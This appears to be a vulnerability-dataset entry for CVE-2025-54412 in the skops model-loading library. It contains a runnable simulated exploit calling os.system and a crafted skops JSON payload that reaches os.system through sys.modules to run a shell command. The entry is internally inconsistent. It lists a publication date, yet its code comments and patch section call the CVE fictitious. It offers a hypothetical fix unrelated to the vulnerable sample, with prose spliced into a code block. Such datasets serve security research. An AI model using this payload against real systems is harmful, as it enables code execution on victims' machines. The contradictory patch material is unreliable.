CVE-2025-54412
skops: Inconsistency in OperatorFuncNode allows arbitrary code execution.
- CVSS 8.7
- CWE-351
- Design Defects
- Remote
skops is a Python library which helps users share and ship their scikit-learn based models. Versions 0.11.0 and below contain a inconsistency in the OperatorFuncNode which can be exploited to hide the execution of untrusted operator methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types. This is fixed in version 0.12.0.
- CWE
- CWE-351
- CVSS base score
- 8.7
- Published
- 2025-07-26
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Design Defects
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- skops
- Fixed by upgrading
- Yes
Solution
Upgrade skops to version 0.12.0 or later.
Vulnerable code sample
import os
import sys
# This is a simplified, conceptual representation of the vulnerability
# described in the fictitious CVE-2025-54412.
# It simulates a deserialization process where a node's type is checked
# based on one attribute, but the execution is triggered from another,
# unchecked attribute.
# A list of types/functions that are considered "safe" to load.
# In a real scenario, this would be more extensive.
ALLOWED_TYPES = [
"numpy.array",
"numpy.float64",
"sklearn.linear_model.LogisticRegression",
]
# This class represents a node in the serialized object graph.
# In the vulnerable version, it has an inconsistency between the
# function name it presents for security checks and the actual
# operator it holds for execution.
class OperatorFuncNode:
def __init__(self, trusted_func_name, unsafe_operator_func):
# This attribute holds a string representation of a function.
# The deserializer will check if this string is in the ALLOWED_TYPES list.
self.trusted_func_name = trusted_func_name
# This attribute holds the ACTUAL function/callable to be executed.
# The vulnerability lies in the fact that this is executed without
# being validated against the trusted_func_name.
self.unsafe_operator_func = unsafe_operator_func
def __repr__(self):
return f"OperatorFuncNode(trusted_func_name='{self.trusted_func_name}')"
# This function simulates the vulnerable loading mechanism in skops < 0.12.0.
def vulnerable_skops_load(node):
"""
Simulates the vulnerable loading process.
1. It checks if the `trusted_func_name` is in an allow-list.
2. If it is, it proceeds to execute the `unsafe_operator_func`
without verifying that it corresponds to the trusted name.
"""
print(f"--> Verifying node: {node!r}")
if node.trusted_func_name in ALLOWED_TYPES:
print(f"--> Check passed: '{node.trusted_func_name}' is an allowed type.")
print("--> Executing the associated operator function...")
# THE VULNERABILITY:
# The code executes the `unsafe_operator_func` which is not
# guaranteed to be related to `trusted_func_name`.
# An attacker controls both fields.
try:
result = node.unsafe_operator_func()
print("--> Execution finished.")
return result
except Exception as e:
print(f"--> Execution failed with error: {e}")
return None
else:
print(f"--> Check failed: '{node.trusted_func_name}' is not an allowed type.")
raise TypeError(f"Untrusted type encountered: {node.trusted_func_name}")
# --- Attacker's Payload ---
def create_malicious_payload():
"""
This function crafts the malicious node to exploit the vulnerability.
"""
print("\n[ATTACKER] Crafting malicious payload...")
# The attacker's goal is to execute `os.system`.
# This is the malicious function they want to run on the victim's machine.
malicious_function = lambda: os.system('echo "[*] PWNED: Arbitrary code execution successful!"')
# The attacker creates the node.
# 1. They set `trusted_func_name` to a value that WILL pass the security check.
# 2. They set `unsafe_operator_func` to their malicious function.
exploit_node = OperatorFuncNode(
trusted_func_name="numpy.array", # A seemingly safe and allowed type
unsafe_operator_func=malicious_function # The hidden malicious callable
)
print("[ATTACKER] Payload created. It looks like a safe 'numpy.array' but hides a system call.")
return exploit_node
if __name__ == "__main__":
print("--- DEMONSTRATING CVE-2025-54412 (Conceptual) ---")
print("Simulating a victim loading a malicious model file.\n")
# 1. The attacker creates a malicious file (here, just the node object).
malicious_node = create_malicious_payload()
print("\n[VICTIM] Loading a model from an untrusted source...")
# 2. The victim's application uses the vulnerable loading function.
vulnerable_skops_load(malicious_node)
print("\n[VICTIM] 'Model' loaded without any apparent security error.")Patched code sample
import os
As the CVE-2025-54412 is not a real CVE number at the time of writing, it is not possible to provide the actual historical code that fixed it. The vulnerability described is hypothetical but closely resembles real security issues found in data serialization libraries.
The following Python code is a representative example of how such a vulnerability would be fixed. The fix involves validating the requested operator against a strict allowlist of known-safe functions, rather than trusting the function path or object provided in the serialized data. This prevents an attacker from tricking the loader into executing arbitrary code disguised as a safe operation.
```python
import operator
# A strict allowlist of safe, non-mutating operators.
# The loader will only allow functions whose names are keys in this dictionary.
ALLOWED_OPERATORS = {
"add": operator.add,
"sub": operator.sub,
"mul": operator.mul,
"truediv": operator.truediv,
"pow": operator.pow,
"eq": operator.eq,
"ne": operator.ne,
"lt": operator.lt,
"le": operator.le,
"gt": operator.gt,
"ge": operator.ge,
"neg": operator.neg,
"abs": operator.abs,
"and_": operator.and_,
"or_": operator.or_,
"invert": operator.invert,
"not_": operator.not_,
"getitem": operator.getitem,
}
class OperatorFuncNode:
"""A mock representation of a node from a serialized skops file."""
def __init__(self, func_name: str, args: list, kwargs: dict):
# In a real scenario, these attributes would be loaded from the file.
self.func_name = func_name
self.args = args
self.kwargs = kwargs
def securely_load_operator(node: OperatorFuncNode, trusted_types: list):
"""
Securely loads and resolves an OperatorFuncNode.
This function represents the fixed logic. It validates the function name
from the node against a predefined allowlist of safe operators. If the
operator is not in the allowlist, it refuses to load, preventing the
execution of untrusted code.
Args:
node: The OperatorFuncNode to be processed.
trusted_types: A list of types that are considered safe to load.
(This is included to reflect the skops loading mechanism).
Returns:
A tuple containing the safe, resolved function and its arguments.
Raises:
TypeError: If the function name in the node is not in the
ALLOWED_OPERATORS allowlist, indicating an untrusted type.
"""
func = ALLOWED_OPERATORS.get(node.func_name)
if func is None:
# This is the security check. If the requested operator is not in our
# explicit allowlist, raise an error and refuse to proceed. This
# prevents an attacker from specifying a dangerous function like
# 'os.system'.
raise TypeError(
f"Untrusted function '{node.func_name}' in OperatorFuncNode. "
"If you trust this function, add it to the 'trusted' list "
"when loading."
)
# The arguments themselves would be recursively loaded, but for this:
# example, we assume they are already loaded primitives.
return (func, node.args, node.kwargs)Payload
{
"protocol": "skops",
"version": 0,
"tree": {
"skops_type": "OperatorFuncNode",
"func": {
"skops_type": "function",
"module": "numpy",
"name": "sum"
},
"operator": "system",
"args": [
{
"skops_type": "OperatorFuncNode",
"func": {
"skops_type": "function",
"module": "operator",
"name": "getitem"
},
"args": [
{
"skops_type": "OperatorFuncNode",
"func": {
"skops_type": "function",
"module": "operator",
"name": "attrgetter"
},
"args": [
{
"skops_type": "module",
"module": "sys"
},
"modules"
],
"kwargs": {}
},
"os"
],
"kwargs": {}
},
"touch /tmp/pwned"
],
"kwargs": {}
}
}
Cite this entry
@misc{vaitp:cve202554412,
title = {{skops: Inconsistency in OperatorFuncNode allows arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-54412},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54412/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
